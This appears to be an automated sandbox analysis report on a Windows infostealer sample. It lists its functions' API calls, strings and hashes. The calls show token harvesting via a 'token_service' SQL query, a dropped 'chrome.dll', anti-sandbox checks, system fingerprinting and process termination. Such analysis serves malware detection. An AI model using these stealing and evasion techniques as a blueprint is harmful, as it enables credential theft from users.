Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 4eb0c3d19f3da17071fde292eb786f020f2e13f1e01cd1aee6cfe2f08f7ed460
Instruction ID: 233c3b8a05bec9dd0facad4523d46c30dcb6cb295cabbf2d5ddda9a1061df09f
Opcode Fuzzy Hash: 4eb0c3d19f3da17071fde292eb786f020f2e13f1e01cd1aee6cfe2f08f7ed460
Instruction Fuzzy Hash: 24515FB0D04218ABDB14EF91DC45BEEB7B5AF04305F1041AEE21567281EB786AC8CF59

Function 0040BA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrlenA.KERNEL32(00000000), ref: 0040BC6F

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BC9D
lstrlenA.KERNEL32(00000000), ref: 0040BD75
lstrlenA.KERNEL32(00000000), ref: 0040BD89

Strings

AccountTokens, xrefs: 0040BA8A
AccountId, xrefs: 0040BC94
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBBB
AccountTokens, xrefs: 0040BB19

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 528b0dcbd92ef5c599c0ef7646e72e3f5de9f0dc130e5900d8b083ce33af8bf2
Instruction ID: 6476b4a2e47316619015001d7be3bff7ad81932ea7eb7605c7a9cb508b765a87
Opcode Fuzzy Hash: 528b0dcbd92ef5c599c0ef7646e72e3f5de9f0dc130e5900d8b083ce33af8bf2
Instruction Fuzzy Hash: E9B17371A111089BCB04FBA1DCA6EEE7339AF14314F40456FF50673195EF386A98CB6A

Function 004108A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00419850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,004108DC,C:\ProgramData\chrome.dll), ref: 00419871

Part of subcall function 0040A090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,004108E4), ref: 0040A098

StrCmpCA.SHLWAPI(00000000,02EDF830), ref: 00410922
StrCmpCA.SHLWAPI(00000000,02EDF850), ref: 00410B79
StrCmpCA.SHLWAPI(00000000,02EDFA00), ref: 00410A0C

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00410C35

Strings

C:\ProgramData\chrome.dll, xrefs: 00410C30
C:\ProgramData\chrome.dll, xrefs: 004108CD

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CreateDeleteLibraryLoad
String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
API String ID: 585553867-663540502
Opcode ID: bc4131eb9470a0b30c78486560b6eeb5eaf7b01ec90574bc2a426dfa5c06d41b
Instruction ID: 798b8003b846a09b6b7b20e33334a9dbf0f3b1503011c00658a7b4d9c0c3a9bc
Opcode Fuzzy Hash: bc4131eb9470a0b30c78486560b6eeb5eaf7b01ec90574bc2a426dfa5c06d41b
Instruction Fuzzy Hash: DCA176717001089FCB18EF65D996FED7776AF94304F10812EE40A5F391EB349A49CB9A

Function 00416C90 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02E68E48), ref: 00419BF1
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02E68E30), ref: 00419C0A
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02E68DB8), ref: 00419C22
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02E68DD0), ref: 00419C3A
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02E68DE8), ref: 00419C53
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02E63518), ref: 00419C6B
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02E662C0), ref: 00419C83
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02E662A0), ref: 00419C9C
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02E68E60), ref: 00419CB4
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02E68E00), ref: 00419CCC
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02E68E18), ref: 00419CE5
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02EDF450), ref: 00419CFD
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02E66400), ref: 00419D15
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(76210000,02EDF660), ref: 00419D2E

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416CB7,00420AF3), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416CBC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416CBC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416A10: GetUserDefaultLangID.KERNEL32(?,?,00416CC6,00420AF3), ref: 00416A14

GetUserDefaultLCID.KERNEL32 ref: 00416CC6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02EDFBA0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416D88
CloseHandle.KERNEL32(00000000), ref: 00416D99
Sleep.KERNEL32(00001770), ref: 00416DA4
CloseHandle.KERNEL32(?,00000000,?,02EDFBA0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416DBA
ExitProcess.KERNEL32 ref: 00416DC2

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 3511611419-0
Opcode ID: 32fb34536166014d7c58d27a16746fd28ebf0fa137deb214c181cbfce6898861
Instruction ID: 27cf1f4c78a26a12fad1801110170cb785a0876a7ac7b1f74ab5ff3c6832b849
Opcode Fuzzy Hash: 32fb34536166014d7c58d27a16746fd28ebf0fa137deb214c181cbfce6898861
Instruction Fuzzy Hash: CB315E30A05104ABCB04FBF1EC56BEE7379AF44314F50492FF11266196EF786A85C66E

Function 0041856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
wsprintfA.USER32 ref: 004185E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
RegCloseKey.ADVAPI32(00000000), ref: 0041861C
RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

RegQueryValueExA.KERNEL32(00000000,02EE5648,00000000,000F003F,?,00000400), ref: 0041867C
lstrlenA.KERNEL32(?), ref: 00418691
RegQueryValueExA.KERNEL32(00000000,02EE54F8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B3C), ref: 00418729
RegCloseKey.KERNEL32(00000000), ref: 00418798
RegCloseKey.ADVAPI32(00000000), ref: 004187AA

Strings

%s\%s, xrefs: 004185DD

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: b35235786b948e0e6555158c1c0efb0b11028fcec8c55c6120cd3185db22f78a
Instruction ID: 130e8712b2d17d0f4a3aa70f9b32a38deb323cc32c4c6a80807e33934adfa5f1
Opcode Fuzzy Hash: b35235786b948e0e6555158c1c0efb0b11028fcec8c55c6120cd3185db22f78a
Instruction Fuzzy Hash: 0F211B71A112189BDB24DB54DC85FE9B3B9FB48704F1081D9E609A6180DF746AC5CF98

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 994daec21f0517629ae22a04d51c011e227e96814832a9a45039b376b6c0c140
Instruction ID: 160db8237089610cf3963e488d7c28046b69bb3d6c402c1973a99714a059ae02
Opcode Fuzzy Hash: 994daec21f0517629ae22a04d51c011e227e96814832a9a45039b376b6c0c140
Instruction Fuzzy Hash: 9F2149B1D00219ABDF14DFA5EC4AADD7B75FF04320F008229F925A7290EB706A19CF95

Function 004199A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004199C5
Process32First.KERNEL32(0040A056,00000128), ref: 004199D9
Process32Next.KERNEL32(0040A056,00000128), ref: 004199F2
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00419A4E
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419A6C
CloseHandle.KERNEL32(00000000), ref: 00419A79
CloseHandle.KERNEL32(0040A056), ref: 00419A88

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction ID: 88ad4043d03276f3ee8d31f644ab7db47d0d0c060b431017ba6a9ada5f45e9a4
Opcode Fuzzy Hash: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction Fuzzy Hash: 06211A70900258ABDB25DFA1DC98BEEB7B9BF48304F0041C9E509A6290D7789FC4CF51

Function 00417820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417834
HeapAlloc.KERNEL32(00000000), ref: 0041783B
RegOpenKeyExA.KERNEL32(80000002,02EE1AB8,00000000,00020119,00000000), ref: 0041786D
RegQueryValueExA.KERNEL32(00000000,02EE55B8,00000000,00000000,?,000000FF), ref: 0041788E
RegCloseKey.ADVAPI32(00000000), ref: 00417898

Strings

Windows 11, xrefs: 0041784D

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction ID: 90abcce2ecfc2a5b8cd512a74185dd25ab23219ddadcc09848e79f4871c60c5e
Opcode Fuzzy Hash: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction Fuzzy Hash: FD01A274E09304BBEB00DBE4ED49FAE7779EF48700F00419AFA04A7290E7749A40CB55

Function 004178B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178C4
HeapAlloc.KERNEL32(00000000), ref: 004178CB
RegOpenKeyExA.KERNEL32(80000002,02EE1AB8,00000000,00020119,00417849), ref: 004178EB
RegQueryValueExA.KERNEL32(00417849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041790A
RegCloseKey.ADVAPI32(00417849), ref: 00417914

Strings

CurrentBuildNumber, xrefs: 00417901

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction ID: 4c9302de3449b24d107dc6acc84b9b99571be3b3dcaa7f8b3677a924de38e7e6
Opcode Fuzzy Hash: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction Fuzzy Hash: 51014FB5E45309BBEB00DBE4DC4AFAEB779EF44700F10459AF605A6281E774AA408B91

Function 00414300 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414325
RegOpenKeyExA.KERNEL32(80000001,02EE5FA8,00000000,00020119,?), ref: 00414344
RegQueryValueExA.ADVAPI32(?,02EE63B0,00000000,00000000,00000000,000000FF), ref: 00414368
RegCloseKey.ADVAPI32(?), ref: 00414372
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414397
lstrcatA.KERNEL32(?,02EE6368), ref: 004143AB

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 5ab39f87e3c408f2a90f24169347c873da2d30c2c471e45419c7dcdc3ee26daa
Instruction ID: 95163f332e2e8486d22fa14c8026e7b1b291c890fe90cbe7f90fb3e747a5c624
